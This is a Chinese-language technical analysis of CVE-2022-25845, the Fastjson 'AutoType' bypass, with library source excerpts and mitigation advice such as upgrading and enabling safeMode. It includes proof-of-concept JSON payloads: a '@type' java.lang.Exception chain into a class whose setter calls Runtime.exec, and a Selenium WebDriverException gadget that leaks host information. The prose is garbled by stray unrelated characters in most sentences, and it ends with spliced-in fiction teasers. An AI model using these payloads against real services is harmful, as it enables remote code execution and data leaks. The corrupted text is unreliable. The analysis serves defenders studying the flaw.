CVE-2022-25845 – Fastjson “Auto Type Bypass” RCE漏洞分析

本文已獲取原作者 Uriya Yavnieli 授權(quán)挑围。如有錯誤抱究,歡迎指正雏蛮。

前言

幾周前涎嚼, Fastjson 發(fā)布了一個新版本 (1.2.83) ,其中包含一項安全漏洞修復挑秉。據(jù)稱攻擊者可以利用此漏洞在遠程機器上執(zhí)行代碼法梯。根據(jù)發(fā)布的多篇文章,攻擊者通過漏洞可以繞過Fastjson中的“AutoTypeCheck”機制,完成遠程代碼執(zhí)行立哑。

這個 Fastjson 漏洞最近才收到一個 CVE 漏洞標識符 – CVE-2022-25845夜惭,以及高達8.1的CVSS漏洞評分。盡管如此铛绰,這個漏洞仍撲朔迷離诈茧。盡管這是被宣稱為在無處不在的組件中存在的一個高危RCE漏洞(將近5000個Maven項目都存在Fastjson依賴!)捂掰,卻幾乎沒有任何關于它的公開技術細節(jié)敢会。到底是哪里存在漏洞,又是在什么條件下容易被攻擊这嚣?

在本篇文章中鸥昏,我們深入研究了這個Fastjson漏洞的嚴重性,以及那些類型的Java應用程序受此影響疤苹。文末是給目前無法升級到指定Fastjson版本的開發(fā)人員的一些策略建議互广。

哪些情況會受到CVE-2022-25845漏洞的影響?

所有依賴 Fastjson 版本 1.2.80 或更早版本的程序卧土,在應用程序中如果包含使用用戶數(shù)據(jù)調(diào)用 JSON.parseJSON.parseObject 方法,但不指定要反序列化的特定類像樊,都會受此漏洞的影響尤莺。

存在潛在風險的API和安全API的不完全示例.png

雖然看起來很寬泛,但是我們可以發(fā)現(xiàn)生棍,在這些前提條件下颤霎,攻擊者也只能通過這個漏洞調(diào)用特定類型的Java反序列化gadget(繼承Throwable類的gadget類),這大大限制了這個漏洞的實際影響涂滴。

技術深入探究

Fastjson 是一個 Java 庫友酱,可以將 Java 對象序列化和反序列化,實現(xiàn)Java對象和JSON的相互轉(zhuǎn)換柔纵。

和大多數(shù) JSON 類一樣缔杉,F(xiàn)astjson 支持將基本 JSON 類型(數(shù)組和對象)分別序列化和反序列化為它們的 Java 等價對象——Arrays 和 Maps。

然而搁料,F(xiàn)astjson也可以將用戶的Java對象(POJO)序列化為JSON或详,或從JSON反序列化為Java對象。

例如郭计,我們定義了一個名為User的類霸琴,以下代碼時將其進行序列化為JSON,然后再進行反序列化昭伸。

public class App
{
    public static void main( String[] args )
    {
        ...
  String jsonString = JSON.toJSONString(user);
  User user2 = JSON.parseObject(jsonString, User.class);
    }
}

JSON.parseObject()返回一個 JSONObject 對象梧乘, 然后這個對象又轉(zhuǎn)換為User類。

有時候庐杨,開發(fā)人員想要更靈活的代碼來接收序列化的JSON选调,告訴代碼JSON應該被反序列化為哪種類嗡善。例如下面這種JSON形式:

    "users": [
        {
            "@type": "AdminUser",
            "username": "admin",
            "password": "21232f297a57a5a743894a0e4a801fc3"
        },
        {
            "@type": "GuestUser",
            "username": "guest",
            "password": ""
        }
    ]
}

Fastjson 支持一個名為“AutoType”的功能。啟用該功能后学歧,可以為每個用戶entry引入類型罩引。開發(fā)人員只需要調(diào)用如下代碼:

JSONObject obj = JSON.parseObject(jsonString, Feature.SupportAutoType);
JSONArray users = (JSONArray)obj.get("users");
// Users[0] is of class type "AdminUser"
// Users[1] is of class type "GuestUser"

但是,如果反序列化的JSON是用戶可以控制的枝笨,則在啟用AutoType的情況下對其進行解析可能會出現(xiàn)反序列化安全問題袁铐。因為攻擊者可以實例化Classpath上可用的任意類,并為類的構(gòu)造函數(shù)提供任意參數(shù)横浑。這個問題已經(jīng)被很多次證實確實可以利用剔桨,并且例如ysoserial之類的框架就存在這里攻擊手段的風險(Java的“gadget”類)。

因此徙融,F(xiàn)astjson的開發(fā)者選擇默認禁用了AutoType功能洒缀,這應該能夠安全地解析人員JSON數(shù)據(jù)了。但是欺冀,AutoType的機制比這復雜得多...

繞過 AutoType 默認禁用策略

JSON.parseObject()被調(diào)用時树绩,它最終會調(diào)用到 DefaultJSONParser.parseObject(),并且傳入?yún)?shù) object 為 JSONObject隐轩,fieldName 為 null饺饭。當這個方法遇到“@type”這個符號(JSON.DEFAULT_TYPE_KEY)時,就會調(diào)用config.checkAutoType:

if (key == JSON.DEFAULT_TYPE_KEY
        && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    String typeName = lexer.scanSymbol(symbolTable, '"');

    if (lexer.isEnabled(Feature.IgnoreAutoType)) {
        continue;
    }

最終职车,在所有flag都是默認的情況下瘫俊,代碼會調(diào)用至config.checkAutoType()。在這里悴灵,我們可以看到因為被列入黑名單而無法通過AutoType 機制實例化的類列表扛芽。

if (expectClass == null) {
            expectClassFlag = false;
        } else {
            long expectHash = TypeUtils.fnv1a_64(expectClass.getName());
            if (expectHash == 0x90a25f5baa21529eL
                    || expectHash == 0x2d10a5801b9d6136L
                    || expectHash == 0xaf586a571e302c6bL
                    || expectHash == 0xed007300a7b227c6L
                    || expectHash == 0x295c4605fd1eaa95L
                    || expectHash == 0x47ef269aadc650b4L
                    || expectHash == 0x6439c4dff712ae8bL
                    || expectHash == 0xe3dd9875a2dc5283L
                    || expectHash == 0xe2a8ddba03e69e0dL
                    || expectHash == 0xd734ceb4c3e9d1daL
            ) {
                expectClassFlag = false;
            } else {
                expectClassFlag = true;
            }
        }

這些被Ban的類是以下這些:

  • java.lang.Object
  • java.io.Serializable
  • java.lang.Cloneable
  • java.lang.Runnable
  • java.lang.AutoCloseable
  • java.io.Closeable
  • java.lang.Iterable
  • java.util.Collection
  • java.lang.Readable
  • java.util.EventListener

你也可以在 fastjson-blacklist 查看到更多被列入黑名單的類。這個倉庫維護了被列入Fastjson黑名單的類的hash值积瞒。

最后川尖,代碼將嘗試找到一個反序列化器deserializer,用來對這個已經(jīng)被JSON序列化的類進行反序列化赡鲜。

ObjectDeserializer deserializer = config.getDeserializer(clazz);
Class deserClass = deserializer.getClass();
if (JavaBeanDeserializer.class.isAssignableFrom(deserClass)
    && deserClass != JavaBeanDeserializer.class
    && deserClass != ThrowableDeserializer.class) {
    this.setResolveStatus(NONE);
} else if (deserializer instanceof MapDeserializer) {
    this.setResolveStatus(NONE);
}
Object obj = deserializer.deserialze(this, clazz, fieldName);

ParserConfig.getDeserializer()內(nèi)部空厌,有一個關鍵檢查,用于驗證目標類是否繼承了 Throwable 類:

} else if (Throwable.class.isAssignableFrom(clazz)) {
    deserializer = new ThrowableDeserializer(this, clazz);

ThrowableDeserializer.deserialize()會處理這種數(shù)據(jù)银酬。如果存在“@type”嘲更,它將使用 autoTypeCheck()檢查并繼續(xù)正常反序列化:

if (JSON.DEFAULT_TYPE_KEY.equals(key)) {
    if (lexer.token() == JSONToken.LITERAL_STRING) {
        String exClassName = lexer.stringVal();
        exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());

因此,漏洞的核心在于 揩瞪,只要目標類繼承自 Throwable 類赋朦,F(xiàn)astjson便可以反序列化為任意類!

在這種情況下,負責創(chuàng)建反序列化類的函數(shù)是 createException()宠哄,它處理了 3 種不同類型的構(gòu)造函數(shù)壹将。一個沒有任何參數(shù),一個帶有異常消息的參數(shù)毛嫉,一個帶有異常消息和異常原因參數(shù)诽俯。在此之后,它將先嘗試調(diào)用更為復雜的構(gòu)造函數(shù)(causeConstructor承粤、messageConstructor 和 defaultConstructor):

private Throwable createException(String message, Throwable cause, Class<?> exClass) throws Exception {
        Constructor<?> defaultConstructor = null;
        Constructor<?> messageConstructor = null;
        Constructor<?> causeConstructor = null;
        for (Constructor<?> constructor : exClass.getConstructors()) {
            Class<?>[] types = constructor.getParameterTypes();
            if (types.length == 0) {
                defaultConstructor = constructor;
                continue;
            }

            if (types.length == 1 && types[0] == String.class) {
                messageConstructor = constructor;
                continue;
            }

            if (types.length == 2 && types[0] == String.class && types[1] == Throwable.class) {
                causeConstructor = constructor;
                continue;
            }
        }

        if (causeConstructor != null) {
            return (Throwable) causeConstructor.newInstance(message, cause);
        }

        if (messageConstructor != null) {
            return (Throwable) messageConstructor.newInstance(message);
        }

        if (defaultConstructor != null) {
            return (Throwable) defaultConstructor.newInstance();
        }

作為類實例化的一步暴区,還會為每個相關成員變量調(diào)用一個 setter方法:

if (otherValues != null) {
    JavaBeanDeserializer exBeanDeser = null;

    if (exClass != null) {
        if (exClass == clazz) {
            exBeanDeser = this;
        } else {
            ObjectDeserializer exDeser = parser.getConfig().getDeserializer(exClass);
            if (exDeser instanceof JavaBeanDeserializer) {
                exBeanDeser = (JavaBeanDeserializer) exDeser;
            }
        }
    }

    if (exBeanDeser != null) {
        for (Map.Entry<String, Object> entry : otherValues.entrySet()) {
            String key = entry.getKey();
            Object value = entry.getValue();

            FieldDeserializer fieldDeserializer = exBeanDeser.getFieldDeserializer(key);
            if (fieldDeserializer != null) {
                FieldInfo fieldInfo = fieldDeserializer.fieldInfo;
                if (!fieldInfo.fieldClass.isInstance(value)) {
                    value = TypeUtils.cast(value, fieldInfo.fieldType, parser.getConfig());
                }
                fieldDeserializer.setValue(ex, value);
            }
        }
    }
}

怎么利用 CVE-2022-25845 漏洞?

在了解了AutoType 機制中的上述“漏洞”之后辛臊,讓我們看看一個在現(xiàn)實中利用這個漏洞的可行性仙粱。這個漏洞據(jù)稱可以實現(xiàn)遠程代碼執(zhí)行。

YoungBear 發(fā)布的漏洞利用方案彻舰,通過傳入這個JSON可以運行任意系統(tǒng)操作命令伐割。

{
    "@type": "java.lang.Exception",
    "@type": "com.example.fastjson.poc20220523.Poc20220523",
    "name": "calc"
}

這個漏洞利用方案依賴于在 Java 應用程序中定義的下面這個繼承Exception的類:

package com.example.fastjson.poc20220523;

import java.io.IOException;

/**
 * @author youngbear
 * @email youngbear@aliyun.com
 * @date 2022/5/29 8:28
 * @blog https://blog.csdn.net/next_second
 * @github https://github.com/YoungBear
 * @description POC類:需要代碼中有該類
 */
public class Poc20220523 extends Exception {
    public void setName(String str) {
        try {
            Runtime.getRuntime().exec(str);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

當反序列化執(zhí)行到上面這一段JSON時,Poc20220523這個類就創(chuàng)建了刃唤,并且提供name參數(shù)是通過自動調(diào)用setter方法隔心。

如代碼所示,這將最終調(diào)用包含 str = “calc”的惡意 setName() setter 函數(shù):

public void setName(String str) {
    try {
        Runtime.getRuntime().exec(str);
    } catch (IOException e) {
        e.printStackTrace();
    }
}

這部分的實際代碼內(nèi)容為打開windows計算器:

calc.png

這個漏洞利用方案顯然只是一個演示透揣,因為任何正常的 Java 應用程序都不會包含類似于 Poc20220523 這樣會基于外部參數(shù)運行 shell 命令的異常派生類济炎。

現(xiàn)在亟待解決的問題是 — 是否有大家熟知的 Java“gadget”類可以作為此漏洞的一部分被濫用?即繼承自Exception或Throwable辐真,并且存在相關的構(gòu)造函數(shù)或者setter方法,可能會造成實際安全影響的Java類崖堤。

目前侍咱,有一個兼容的gadget類(來自 Selenium 庫)已經(jīng)在被發(fā)布了。它會導致非常低影響的數(shù)據(jù)泄漏:

{
    "x":{
      "@type":"java.lang.Exception",
      "@type":"org.openqa.selenium.WebDriverException"
    },
    "y":{
      "$ref":"$x.systemInformation"
    }
}

反序列化這個 JSON 最終會創(chuàng)建一個 HashMap密幔,其中“y”值為有關機器的一些基本信息:

"System info: host: '', ip: '', os.name: '', os.arch: '', os.version: '', java.version: ''"

根據(jù)應用程序的不同楔脯,這些信息最終可能會被存儲或發(fā)送給攻擊者(例如,它可能被寫入可遠程訪問日志)胯甩。

在檢查了 ysoserial 等其他知名來源后昧廷,我們沒有發(fā)現(xiàn)任何可以在實際場景中能夠?qū)е逻h程代碼執(zhí)行的gadget類。因此偎箫,想要利用這個漏洞進行實際攻擊的黑客木柬,需要對被共計的Java應用服務器進行深入研究,以找到一個加載在Classpath中的自定義的Java gadget類淹办。這個類繼承自Exception/Throwable眉枕,并包含可用于獲取權(quán)限、泄漏數(shù)據(jù)甚至運行任意代碼的相關方法。

總而言之速挑,我們評估目前這個漏洞似乎并未構(gòu)成很高風險的威脅谤牡。盡管存在一個潛在影響巨大(遠程代碼執(zhí)行)的公共PoC漏洞可利用,并且攻擊的條件并不是甚微(將不受信任的輸入數(shù)據(jù)傳遞給特定易受攻擊的 API)姥宝。最重要的是翅萤,必須找到一個合適的gadget類(或許由于一些不太可能的屬性根本不存在)來突破特定被攻擊的目標。

如何完全修復 CVE-2022-25845腊满?

要完全修復 CVE-2022-25845套么,我們建議將 Fastjson 升級到最新版本,目前為 1.2.83糜烹。

如何降低 CVE-2022-25845 風險违诗?

啟用 Fastjson 的“Safe Mode”可以減緩這個漏洞風險。

可以通過執(zhí)行以下任何一種操作來開啟Safe Mode:

  1. 通過代碼配置 ParserConfig.getGlobalInstance().setSafeMode(true);
  2. 通過JVM啟動參數(shù)配置 -Dfastjson.parser.safeMode=true
  3. 通過Fastjson的配置文件配置項 fastjson.parser.safeMode=true
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末疮蹦,一起剝皮案震驚了整個濱河市诸迟,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌愕乎,老刑警劉巖阵苇,帶你破解...
    沈念sama閱讀 217,542評論 6 504
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異感论,居然都是意外死亡绅项,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,822評論 3 394
  • 文/潘曉璐 我一進店門比肄,熙熙樓的掌柜王于貴愁眉苦臉地迎上來快耿,“玉大人,你說我怎么就攤上這事芳绩∠坪ィ” “怎么了?”我有些...
    開封第一講書人閱讀 163,912評論 0 354
  • 文/不壞的土叔 我叫張陵妥色,是天一觀的道長搪花。 經(jīng)常有香客問我,道長嘹害,這世上最難降的妖魔是什么撮竿? 我笑而不...
    開封第一講書人閱讀 58,449評論 1 293
  • 正文 為了忘掉前任,我火速辦了婚禮笔呀,結(jié)果婚禮上幢踏,老公的妹妹穿的比我還像新娘。我一直安慰自己凿可,他們只是感情好惑折,可當我...
    茶點故事閱讀 67,500評論 6 392
  • 文/花漫 我一把揭開白布授账。 她就那樣靜靜地躺著,像睡著了一般惨驶。 火紅的嫁衣襯著肌膚如雪白热。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,370評論 1 302
  • 那天粗卜,我揣著相機與錄音屋确,去河邊找鬼。 笑死续扔,一個胖子當著我的面吹牛攻臀,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播纱昧,決...
    沈念sama閱讀 40,193評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼刨啸,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了识脆?” 一聲冷哼從身側(cè)響起设联,我...
    開封第一講書人閱讀 39,074評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎灼捂,沒想到半個月后离例,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,505評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡悉稠,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,722評論 3 335
  • 正文 我和宋清朗相戀三年宫蛆,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片的猛。...
    茶點故事閱讀 39,841評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡耀盗,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出卦尊,到底是詐尸還是另有隱情袍冷,我是刑警寧澤,帶...
    沈念sama閱讀 35,569評論 5 345
  • 正文 年R本政府宣布猫牡,位于F島的核電站,受9級特大地震影響邓线,放射性物質(zhì)發(fā)生泄漏淌友。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,168評論 3 328
  • 文/蒙蒙 一骇陈、第九天 我趴在偏房一處隱蔽的房頂上張望震庭。 院中可真熱鬧,春花似錦你雌、人聲如沸器联。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,783評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽拨拓。三九已至肴颊,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間渣磷,已是汗流浹背婿着。 一陣腳步聲響...
    開封第一講書人閱讀 32,918評論 1 269
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留醋界,地道東北人竟宋。 一個月前我還...
    沈念sama閱讀 47,962評論 2 370
  • 正文 我出身青樓,卻偏偏與公主長得像形纺,于是被迫代替她去往敵國和親丘侠。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 44,781評論 2 354

推薦閱讀更多精彩內(nèi)容